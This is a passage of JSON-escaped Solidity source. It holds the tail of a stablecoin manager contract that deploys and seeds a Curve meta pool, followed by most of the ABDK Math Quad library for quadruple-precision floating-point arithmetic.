_fee\n );\n stableSwapMetaPoolAddress = metaPool;\n\n // Approve the newly-deployed meta pool to transfer this contract's funds\n uint256 crv3PoolTokenAmount = IERC20(_crv3PoolTokenAddress).balanceOf(\n address(this)\n );\n uint256 uADTokenAmount = IERC20(dollarTokenAddress).balanceOf(\n address(this)\n );\n\n // safe approve revert if approve from non-zero to non-zero allowance\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\n IERC20(_crv3PoolTokenAddress).safeApprove(\n metaPool,\n crv3PoolTokenAmount\n );\n\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\n\n // coin at index 0 is uAD and index 1 is 3CRV\n require(\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\n \"uADMGR: COIN_ORDER_MISMATCH\"\n );\n // Add the initial liquidity to the StableSwap meta pool\n uint256[2] memory amounts = [\n IERC20(dollarTokenAddress).balanceOf(address(this)),\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\n ];\n\n // set curve 3Pool address\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\n }\n\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\n external\n view\n returns (address)\n {\n return _excessDollarDistributors[_debtCouponManagerAddress];\n }\n}\n" - }, - "contracts/libs/ABDKMathQuad.sol": { - "content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math Quad Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov \n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with IEEE 754\n * quadruple-precision binary floating-point numbers (quadruple precision\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\n * represented by bytes16 type.\n */\nlibrary ABDKMathQuad {\n /*\n * 0.\n */\n bytes16 private constant _POSITIVE_ZERO =\n 0x00000000000000000000000000000000;\n\n /*\n * -0.\n */\n bytes16 private constant _NEGATIVE_ZERO =\n 0x80000000000000000000000000000000;\n\n /*\n * +Infinity.\n */\n bytes16 private constant _POSITIVE_INFINITY =\n 0x7FFF0000000000000000000000000000;\n\n /*\n * -Infinity.\n */\n bytes16 private constant _NEGATIVE_INFINITY =\n 0xFFFF0000000000000000000000000000;\n\n /*\n * Canonical NaN value.\n */\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\n\n /**\n * Convert signed 256-bit integer number into quadruple precision number.\n *\n * @param x signed 256-bit integer number\n * @return quadruple precision number\n */\n function fromInt(int256 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n // We rely on overflow behavior here\n uint256 result = uint256(x > 0 ? x : -x);\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16383 + msb) << 112);\n if (x < 0) result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n }\n\n /**\n * Convert quadruple precision number into signed 256-bit integer number\n * rounding towards zero. Revert on overflow.\n *\n * @param x quadruple precision number\n * @return signed 256-bit integer number\n */\n function toInt(bytes16 x) internal pure returns (int256) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n require(exponent <= 16638); // Overflow\n if (exponent < 16383) return 0; // Underflow\n\n uint256 result = (uint256(uint128(x)) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16495) result >>= 16495 - exponent;\n else if (exponent > 16495) result <<= exponent - 16495;\n\n if (uint128(x) >= 0x80000000000000000000000000000000) {\n // Negative\n require(\n result <=\n 0x8000000000000000000000000000000000000000000000000000000000000000\n );\n return -int256(result); // We rely on overflow behavior here\n } else {\n require(\n result <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n );\n return int256(result);\n }\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into quadruple precision number.\n *\n * @param x unsigned 256-bit integer number\n * @return quadruple precision number\n */\n function fromUInt(uint256 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n uint256 result = x;\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16383 + msb) << 112);\n\n return bytes16(uint128(result));\n }\n }\n }\n\n /**\n * Convert quadruple precision number into unsigned 256-bit integer number\n * rounding towards zero. Revert on underflow. Note, that negative floating\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\n * without error, because they are rounded to zero.\n *\n * @param x quadruple precision number\n * @return unsigned 256-bit integer number\n */\n function toUInt(bytes16 x) internal pure returns (uint256) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n if (exponent < 16383) return 0; // Underflow\n\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\n\n require(exponent <= 16638); // Overflow\n uint256 result = (uint256(uint128(x)) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16495) result >>= 16495 - exponent;\n else if (exponent > 16495) result <<= exponent - 16495;\n\n return result;\n }\n }\n\n /**\n * Convert signed 128.128 bit fixed point number into quadruple precision\n * number.\n *\n * @param x signed 128.128 bit fixed point number\n * @return quadruple precision number\n */\n function from128x128(int256 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n // We rely on overflow behavior here\n uint256 result = uint256(x > 0 ? x : -x);\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16255 + msb) << 112);\n if (x < 0) result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n }\n\n /**\n * Convert quadruple precision number into signed 128.128 bit fixed point\n * number. Revert on overflow.\n *\n * @param x quadruple precision number\n * @return signed 128.128 bit fixed point number\n */\n function to128x128(bytes16 x) internal pure returns (int256) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n require(exponent <= 16510); // Overflow\n if (exponent < 16255) return 0; // Underflow\n\n uint256 result = (uint256(uint128(x)) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16367) result >>= 16367 - exponent;\n else if (exponent > 16367) result <<= exponent - 16367;\n\n if (uint128(x) >= 0x80000000000000000000000000000000) {\n // Negative\n require(\n result <=\n 0x8000000000000000000000000000000000000000000000000000000000000000\n );\n return -int256(result); // We rely on overflow behavior here\n } else {\n require(\n result <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n );\n return int256(result);\n }\n }\n }\n\n /**\n * Convert signed 64.64 bit fixed point number into quadruple precision\n * number.\n *\n * @param x signed 64.64 bit fixed point number\n * @return quadruple precision number\n */\n function from64x64(int128 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n // We rely on overflow behavior here\n uint256 result = uint128(x > 0 ? x : -x);\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16319 + msb) << 112);\n if (x < 0) result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n }\n\n /**\n * Convert quadruple precision number into signed 64.64 bit fixed point\n * number. Revert on overflow.\n *\n * @param x quadruple precision number\n * @return signed 64.64 bit fixed point number\n */\n function to64x64(bytes16 x) internal pure returns (int128) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n require(exponent <= 16446); // Overflow\n if (exponent < 16319) return 0; // Underflow\n\n uint256 result = (uint256(uint128(x)) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16431) result >>= 16431 - exponent;\n else if (exponent > 16431) result <<= exponent - 16431;\n\n if (uint128(x) >= 0x80000000000000000000000000000000) {\n // Negative\n require(result <= 0x80000000000000000000000000000000);\n return -int128(int256(result)); // We rely on overflow behavior here\n } else {\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128(int256(result));\n }\n }\n }\n\n /**\n * Convert octuple precision number into quadruple precision number.\n *\n * @param x octuple precision number\n * @return quadruple precision number\n */\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\n unchecked {\n bool negative = x &\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\n 0;\n\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\n uint256 significand = uint256(x) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (exponent == 0x7FFFF) {\n if (significand > 0) return NaN;\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n }\n\n if (exponent > 278526)\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n else if (exponent < 245649)\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\n else if (exponent < 245761) {\n significand =\n (significand |\n 0x100000000000000000000000000000000000000000000000000000000000) >>\n (245885 - exponent);\n exponent = 0;\n } else {\n significand >>= 124;\n exponent -= 245760;\n }\n\n uint128 result = uint128(significand | (exponent << 112));\n if (negative) result |= 0x80000000000000000000000000000000;\n\n return bytes16(result);\n }\n }\n\n /**\n * Convert quadruple precision number into octuple precision number.\n *\n * @param x quadruple precision number\n * @return octuple precision number\n */\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (exponent == 0x7FFF)\n exponent = 0x7FFFF; // Infinity or NaN\n else if (exponent == 0) {\n if (result > 0) {\n uint256 msb = mostSignificantBit(result);\n result =\n (result << (236 - msb)) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n exponent = 245649 + msb;\n }\n } else {\n result <<= 124;\n exponent += 245760;\n }\n\n result |= exponent << 236;\n if (uint128(x) >= 0x80000000000000000000000000000000)\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\n\n return bytes32(result);\n }\n }\n\n /**\n * Convert double precision number into quadruple precision number.\n *\n * @param x double precision number\n * @return quadruple precision number\n */\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\n unchecked {\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\n\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\n\n if (exponent == 0x7FF)\n exponent = 0x7FFF; // Infinity or NaN\n else if (exponent == 0) {\n if (result > 0) {\n uint256 msb = mostSignificantBit(result);\n result =\n (result << (112 - msb)) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n exponent = 15309 + msb;\n }\n } else {\n result <<= 60;\n exponent += 15360;\n }\n\n result |= exponent << 112;\n if (x & 0x8000000000000000 > 0)\n result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n\n /**\n * Convert quadruple precision number into double precision number.\n *\n * @param x quadruple precision number\n * @return double precision number\n */\n function toDouble(bytes16 x) internal pure returns (bytes8) {\n unchecked {\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\n\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (exponent == 0x7FFF) {\n if (significand > 0) return 0x7FF8000000000000;\n // NaN\n else\n return\n negative\n ? bytes8(0xFFF0000000000000) // -Infinity\n : bytes8(0x7FF0000000000000); // Infinity\n }\n\n if (exponent > 17406)\n return\n negative\n ? bytes8(0xFFF0000000000000) // -Infinity\n : bytes8(0x7FF0000000000000);\n // Infinity\n else if (exponent < 15309)\n return\n negative\n ? bytes8(0x8000000000000000) // -0\n : bytes8(0x0000000000000000);\n // 0\n else if (exponent < 15361) {\n significand =\n (significand | 0x10000000000000000000000000000) >>\n (15421 - exponent);\n exponent = 0;\n } else {\n significand >>= 60;\n exponent -= 15360;\n }\n\n uint64 result = uint64(significand | (exponent << 52));\n if (negative) result |= 0x8000000000000000;\n\n return bytes8(result);\n }\n }\n\n /**\n * Test whether given quadruple precision number is NaN.\n *\n * @param x quadruple precision number\n * @return true if x is NaN, false otherwise\n */\n function isNaN(bytes16 x) internal pure returns (bool) {\n unchecked {\n return\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\n 0x7FFF0000000000000000000000000000;\n }\n }\n\n /**\n * Test whether given quadruple precision number is positive or negative\n * infinity.\n *\n * @param x quadruple precision number\n * @return true if x is positive or negative infinity, false otherwise\n */\n function isInfinity(bytes16 x) internal pure returns (bool) {\n unchecked {\n return\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\n 0x7FFF0000000000000000000000000000;\n }\n }\n\n /**\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\n *\n * @param x quadruple precision number\n * @return sign of x\n */\n function sign(bytes16 x) internal pure returns (int8) {\n unchecked {\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\n\n if (absoluteX == 0) return 0;\n else if (uint128(x) >= 0x80000000000000000000000000000000)\n return -1;\n else return 1;\n }\n }\n\n /**\n * Calculate sign (x - y). Revert if either argument is NaN, or both\n * arguments are infinities of the same sign.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return sign (x - y)\n */\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\n unchecked {\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\n\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\n\n // Not infinities of the same sign\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\n\n if (x == y) return 0;\n else {\n bool negativeX = uint128(x) >=\n 0x80000000000000000000000000000000;\n bool negativeY = uint128(y) >=\n 0x80000000000000000000000000000000;\n\n if (negativeX) {\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\n else return -1;\n } else {\n if (negativeY) return 1;\n else return absoluteX > absoluteY ? int8(1) : -1;\n }\n }\n }\n }\n\n /**\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\n * anything.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return true if x equals to y, false otherwise\n */\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\n unchecked {\n if (x == y) {\n return\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\n 0x7FFF0000000000000000000000000000;\n } else return false;\n }\n }\n\n /**\n * Calculate x + y. Special values behave in the following way:\n *\n * NaN + x = NaN for any x.\n * Infinity + x = Infinity for any finite x.\n * -Infinity + x = -Infinity for any finite x.\n * Infinity + Infinity = Infinity.\n * -Infinity + -Infinity = -Infinity.\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return quadruple precision number\n */\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\n unchecked {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\n\n if (xExponent == 0x7FFF) {\n if (yExponent == 0x7FFF) {\n if (x == y) return x;\n else return NaN;\n } else return x;\n } else if (yExponent == 0x7FFF) return y;\n else {\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\n uint256 xSignifier = uint128(x) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\n uint256 ySignifier = uint128(y) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (yExponent == 0) yExponent = 1;\n else ySignifier |= 0x10000000000000000000000000000;\n\n if (xSignifier == 0)\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\n else if (ySignifier == 0)\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\n else {\n int256 delta = int256(xExponent) - int256(yExponent);\n\n if (xSign == ySign) {\n if (delta > 112) return x;\n else if (delta > 0) ySignifier >>= uint256(delta);\n else if (delta < -112) return y;\n else if (delta < 0) {\n xSignifier >>= uint256(-delta);\n xExponent = yExponent;\n }\n\n xSignifier += ySignifier;\n\n if (xSignifier >= 0x20000000000000000000000000000) {\n xSignifier >>= 1;\n xExponent += 1;\n }\n\n if (xExponent == 0x7FFF)\n return\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n else {\n if (xSignifier < 0x10000000000000000000000000000)\n xExponent = 0;\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n return\n bytes16(\n uint128(\n (\n xSign\n ? 0x80000000000000000000000000000000\n : 0\n ) |\n (xExponent << 112) |\n xSignifier\n )\n );\n }\n } else {\n if (delta > 0) {\n xSignifier <<= 1;\n xExponent -= 1;\n } else if (delta < 0) {\n ySignifier <<= 1;\n xExponent = yExponent - 1;\n }\n\n if (delta > 112) ySignifier = 1;\n else if (delta > 1)\n ySignifier =\n ((ySignifier - 1) >> uint256(delta - 1)) +\n 1;\n else if (delta < -112) xSignifier = 1;\n else if (delta < -1)\n xSignifier =\n ((xSignifier - 1) >> uint256(-delta - 1)) +\n 1;\n\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\n else {\n xSignifier = ySignifier - xSignifier;\n xSign = ySign;\n }\n\n if (xSignifier == 0) return _POSITIVE_ZERO;\n\n uint256 msb = mostSignificantBit(xSignifier);\n\n if (msb == 113) {\n xSignifier =\n (xSignifier >> 1) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n xExponent += 1;\n } else if (msb < 112) {\n uint256 shift = 112 - msb;\n if (xExponent > shift) {\n xSignifier =\n (xSignifier << shift) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n xExponent -= shift;\n } else {\n xSignifier <<= xExponent - 1;\n xExponent = 0;\n }\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (xExponent == 0x7FFF)\n return\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n else\n return\n bytes16(\n uint128(\n (\n xSign\n ? 0x80000000000000000000000000000000\n : 0\n ) |\n (xExponent << 112) |\n xSignifier\n )\n );\n }\n }\n }\n }\n }\n\n /**\n * Calculate x - y. Special values behave in the following way:\n *\n * NaN - x = NaN for any x.\n * Infinity - x = Infinity for any finite x.\n * -Infinity - x = -Infinity for any finite x.\n * Infinity - -Infinity = Infinity.\n * -Infinity - Infinity = -Infinity.\n * Infinity - Infinity = -Infinity - -Infinity = NaN.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return quadruple precision number\n */\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\n unchecked {\n return add(x, y ^ 0x80000000000000000000000000000000);\n }\n }\n\n /**\n * Calculate x * y. Special values behave in the following way:\n *\n * NaN * x = NaN for any x.\n * Infinity * x = Infinity for any finite positive x.\n * Infinity * x = -Infinity for any finite negative x.\n * -Infinity * x = -Infinity for any finite positive x.\n * -Infinity * x = Infinity for any finite negative x.\n * Infinity * 0 = NaN.\n * -Infinity * 0 = NaN.\n * Infinity * Infinity = Infinity.\n * Infinity * -Infinity = -Infinity.\n * -Infinity * Infinity = -Infinity.\n * -Infinity * -Infinity = Infinity.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return quadruple precision number\n */\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\n unchecked {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\n\n if (xExponent == 0x7FFF) {\n if (yExponent == 0x7FFF) {\n if (x == y)\n return x ^ (y & 0x80000000000000000000000000000000);\n else if (x ^ y == 0x80000000000000000000000000000000)\n return x | y;\n else return NaN;\n } else {\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\n else return x ^ (y & 0x80000000000000000000000000000000);\n }\n } else if (yExponent == 0x7FFF) {\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\n else return y ^ (x & 0x80000000000000000000000000000000);\n } else {\n uint256 xSignifier = uint128(x) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n uint256 ySignifier = uint128(y) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (yExponent == 0) yExponent = 1;\n else ySignifier |= 0x10000000000000000000000000000;\n\n xSignifier *= ySignifier;\n if (xSignifier == 0)\n return\n (x ^ y) & 0x80000000000000000000000000000000 > 0\n ? _NEGATIVE_ZERO\n : _POSITIVE_ZERO;\n\n xExponent += yExponent;\n\n uint256 msb = xSignifier >=\n 0x200000000000000000000000000000000000000000000000000000000\n ? 225\n : xSignifier >=\n 0x100000000000000000000000000000000000000000000000000000000\n ? 224\n : mostSignificantBit(xSignifier);\n\n if (xExponent + msb < 16496) {\n // Underflow\n xExponent = 0;\n xSignifier = 0;\n } else if (xExponent + msb < 16608) {\n // Subnormal\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\n else if (xExponent > 16496)\n xSignifier <<= xExponent - 16496;\n xExponent = 0;\n } else if (xExponent + msb > 49373) {\n xExponent = 0x7FFF;\n xSignifier = 0;\n } else {\n if (msb > 112) xSignifier >>= msb - 112;\n else if (msb < 112) xSignifier <<= 112 - msb;\n\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n xExponent = xExponent + msb - 16607;\n }\n\n return\n bytes16(\n uint128(\n uint128(\n (x ^ y) & 0x80000000000000000000000000000000\n ) |\n (xExponent << 112) |\n xSignifier\n )\n );\n }\n }\n }\n\n /**\n * Calculate x / y. Special values behave in the following way:\n *\n * NaN / x = NaN for any x.\n * x / NaN = NaN for any x.\n * Infinity / x = Infinity for any finite non-negative x.\n * Infinity / x = -Infinity for any finite negative x including -0.\n * -Infinity / x = -Infinity for any finite non-negative x.\n * -Infinity / x = Infinity for any finite negative x including -0.\n * x / Infinity = 0 for any finite non-negative x.\n * x / -Infinity = -0 for any finite non-negative x.\n * x / Infinity = -0 for any finite non-negative x including -0.\n * x / -Infinity = 0 for any finite non-negative x including -0.\n *\n * Infinity / Infinity = NaN.\n * Infinity / -Infinity = -NaN.\n * -Infinity / Infinity = -NaN.\n * -Infinity / -Infinity = NaN.\n *\n * Division by zero behaves in the following way:\n *\n * x / 0 = Infinity for any finite positive x.\n * x / -0 = -Infinity for any finite positive x.\n * x / 0 = -Infinity for any finite negative x.\n * x / -0 = Infinity for any finite negative x.\n * 0 / 0 = NaN.\n * 0 / -0 = NaN.\n * -0 / 0 = NaN.\n * -0 / -0 = NaN.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return quadruple precision number\n */\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\n unchecked {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\n\n if (xExponent == 0x7FFF) {\n if (yExponent == 0x7FFF) return NaN;\n else return x ^ (y & 0x80000000000000000000000000000000);\n } else if (yExponent == 0x7FFF) {\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\n else\n return\n _POSITIVE_ZERO |\n ((x ^ y) & 0x80000000000000000000000000000000);\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\n else\n return\n _POSITIVE_INFINITY |\n ((x ^ y) & 0x80000000000000000000000000000000);\n } else {\n uint256 ySignifier = uint128(y) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (yExponent == 0) yExponent = 1;\n else ySignifier |= 0x10000000000000000000000000000;\n\n uint256 xSignifier = uint128(x) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) {\n if (xSignifier != 0) {\n uint256 shift = 226 - mostSignificantBit(xSignifier);\n\n xSignifier <<= shift;\n\n xExponent = 1;\n yExponent += shift - 114;\n }\n } else {\n xSignifier =\n (xSignifier | 0x10000000000000000000000000000) <<\n 114;\n }\n\n xSignifier = xSignifier / ySignifier;\n if (xSignifier == 0)\n return\n (x ^ y) & 0x80000000000000000000000000000000 > 0\n ? _NEGATIVE_ZERO\n : _POSITIVE_ZERO;\n\n assert(xSignifier >= 0x1000000000000000000000000000);\n\n uint256 msb = xSignifier >= 0x80000000000000000000000000000\n ? mostSignificantBit(xSignifier)\n : xSignifier >= 0x40000000000000000000000000000\n ? 114\n : xSignifier >= 0x20000000000000000000000000000\n ? 113\n : 112;\n\n if (xExponent + msb > yExponent + 16497) {\n // Overflow\n xExponent = 0x7FFF;\n xSignifier = 0;\n } else if (xExponent + msb + 16380 < yExponent) {\n // Underflow\n xExponent = 0;\n xSignifier = 0;\n } else if (xExponent + msb + 16268 < yExponent) {\n // Subnormal\n if (xExponent + 16380 > yExponent)\n xSignifier <<= xExponent + 16380 - yExponent;\n else if (xExponent + 16380 < yExponent)\n xSignifier >>= yExponent - xExponent - 16380;\n\n xExponent = 0;\n } else {\n // Normal\n if (msb > 112) xSignifier >>= msb - 112;\n\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n xExponent = xExponent + msb + 16269 - yExponent;\n }\n\n return\n bytes16(\n uint128(\n uint128(\n (x ^ y) & 0x80000000000000000000000000000000\n ) |\n (xExponent << 112) |\n xSignifier\n )\n );\n }\n }\n }\n\n /**\n * Calculate -x.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function neg(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n return x ^ 0x80000000000000000000000000000000;\n }\n }\n\n /**\n * Calculate |x|.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function abs(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n }\n }\n\n /**\n * Calculate square root of x. Return NaN on negative x excluding -0.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function sqrt(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\n else {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n if (xExponent == 0x7FFF) return x;\n else {\n uint256 xSignifier = uint128(x) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n if (xSignifier == 0) return _POSITIVE_ZERO;\n\n bool oddExponent = xExponent & 0x1 == 0;\n xExponent = (xExponent + 16383) >> 1;\n\n if (oddExponent) {\n if (xSignifier >= 0x10000000000000000000000000000)\n xSignifier <<= 113;\n else {\n uint256 msb = mostSignificantBit(xSignifier);\n uint256 shift = (226 - msb) & 0xFE;\n xSignifier <<= shift;\n xExponent -= (shift - 112) >> 1;\n }\n } else {\n if (xSignifier >= 0x10000000000000000000000000000)\n xSignifier <<= 112;\n else {\n uint256 msb = mostSignificantBit(xSignifier);\n uint256 shift = (225 - msb) & 0xFE;\n xSignifier <<= shift;\n xExponent -= (shift - 112) >> 1;\n }\n }\n\n uint256 r = 0x10000000000000000000000000000;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1;\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\n uint256 r1 = xSignifier / r;\n if (r1 < r) r = r1;\n\n return\n bytes16(\n uint128(\n (xExponent << 112) |\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n )\n );\n }\n }\n }\n }\n\n /**\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\n *\n * @param x quadruple precision number\n * @return quadruple precision number\n */\n function log_2(bytes16 x) internal pure returns (bytes16) {\n unchecked {\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\n else if (x == 